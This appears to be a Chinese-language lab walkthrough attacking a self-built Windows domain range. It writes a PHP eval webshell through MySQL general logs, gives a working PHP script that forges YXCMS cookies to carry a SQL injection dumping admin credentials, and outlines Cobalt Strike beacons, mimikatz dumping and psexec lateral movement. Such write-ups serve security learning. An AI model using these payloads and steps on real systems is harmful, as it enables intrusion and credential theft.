环境搭建:
首先开启机器先拍摄快照以免出现问题。
Win7:
1.添加网卡(双网卡)
2.外网 NAT: 192.168.1.128
3.内网自定义:仅主机
内网机器:
Vm,vm2都是仅主机模式
然后互相ping一下 内网win7可以ping通vm1、vm2,vm1、vm2可以ping通。
最后打开win7C盘中的phpstudy就可以开始了。
拓扑图:
访问站点发现是个phpstudy2014,看了一下是php5.4.45,然后开启了xmlprc,就想试一下命令执行,然后发现没有…
下面有个mysql连接测试,输入root*2,居然显示连接正常。
呃呃 实战的话遇到弱密码肯定是很高兴的,但是靶机的话就有点…毕竟我是来学东西的(后面我发现我错了)
正常扫扫扫。
还扫出一个备份的文件,是一个网站的源码,一个一个来吧。
突破一:Phpmyadmin
弱密码登入
尝试写入shell
开启数据库日志set clobal general_log='on'
创建写入日志的文件set global general_log_file='C:/phpStudy/WWW/sII.php'
要绝对路径哦
查看是否开启show global variables like '%general%'
呃呃换了个文件 不要在意细节
然后直接select 查询一句话它会会被记录进日志里。select '<?php eval($_POST["x"]);?>'
访问文件
去靶机下看看
直接用蚁剑连接
突破二:
yxcms的站点 1.2.1版本的站点,和它的源码。
老规矩 直接上google,还好找到一个(没有就要自己上手了qvq),有人审计出一个cookie注入的漏洞。
虽然有现成的但是我们还是自己先看看 学习学习。
用户的信息
找到cookie设置的地方(common.function.php)
主要是我们知道了cookie的加密解密方法,然后cookie就是可控的了。
//cp_encode之后的解密函数,
s
t
r
i
n
g
待
解
密
的
字
符
串
,
string待解密的字符串,
string待解密的字符串,key,密钥
可以先注册个用户,然后拿cookie来进行验证。
Cp_decode(‘cookie’,’key’) $key在config.php中有定义就是yx
1\t2\tzumumu\tzumumu\t192.168.1.1
先url解码后解密发现是由 :用户id\t+用户组\t+用户名\t+用户昵称\t+IP 组成的。
model.php里 实例化了 cpModel 并且构造了sql语句
发现传参的值为id 并且没过滤的
构造语句
判断字段为两个
接下来就是常规注入了
替换cookie访问我的账户得到管理员账户密码。
下面是payload :
<?php
function cp_encode($data,$key='',$expire = 0)
{
$string=serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}
function cp_decode($string,$key='')
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr($string, 0, $ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return unserialize(substr($result, 26));
}
else
{
return '';
}
}
$cookie='0ba1KAPdfcf7PR6jeazaTCCX%2BsnWP0ZOwC0JVh1cu3WFb0jQZmN6C%2BmMSbbTpdkuwlAcqWiOjg4fwHV94gvoli0%2FcnWcgQ';
$cookie=cp_decode(urldecode($cookie),'yx');
echo $cookie;
echo "\n";
$newcookie='333\' union select username,password from yx_admin#\t2\tzumumu\tzumumu\t192.168.1.1';
$newcookie=urlencode(cp_encode($newcookie,'yx'));
echo $newcookie;
?>
在拿出原生cookie的时候要先进行url解码,同样payload也需要进行url编码再使用。
然后发线解密后是:949ba59abbe56e05 登不上 我人傻了,然后看人家文章直接又是弱密码123456登入…
后渗透
信息搜集:
查看权限:
一上来就是administrator,
在cs上创建个监听
在Attacks->packags下的windows executable(s)选择监听,创建个木马
然后上传到蚁剑执行 等待上线(我等了好一会儿)
ipconfig -all
可以看到DNS后缀为god.org 一般就是域控的名称
查看域信息
shell net view /domain
查询当前的登录域与用户信息:net config workstation
查看y
可以看到138是域控,将权限提升到system
使用 dump hash模块导出散列值,获取凭据 (access->dump hashs)
使用logonpasswords模块,调用内置在CS中的mimikatz将内存中的lsass.exe进程保存的用户明文密码和散列导出
接下来就是横向移动,但是由于内网机是无法直接和外网连接的,这将win7当成跳板机。
官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
首先新建一个监听
然后使用之前获取的主机信息和凭据,使用psexec模块进行登入。
成功上线其他机器
其实除了派生SMB还可以:
- cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理 不稳定
- ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网
- cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定
- cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网
- 用 frp 创建 socks5 代理
后面再一个一个尝试。
PS:
https://soapffz.com/sec/558.html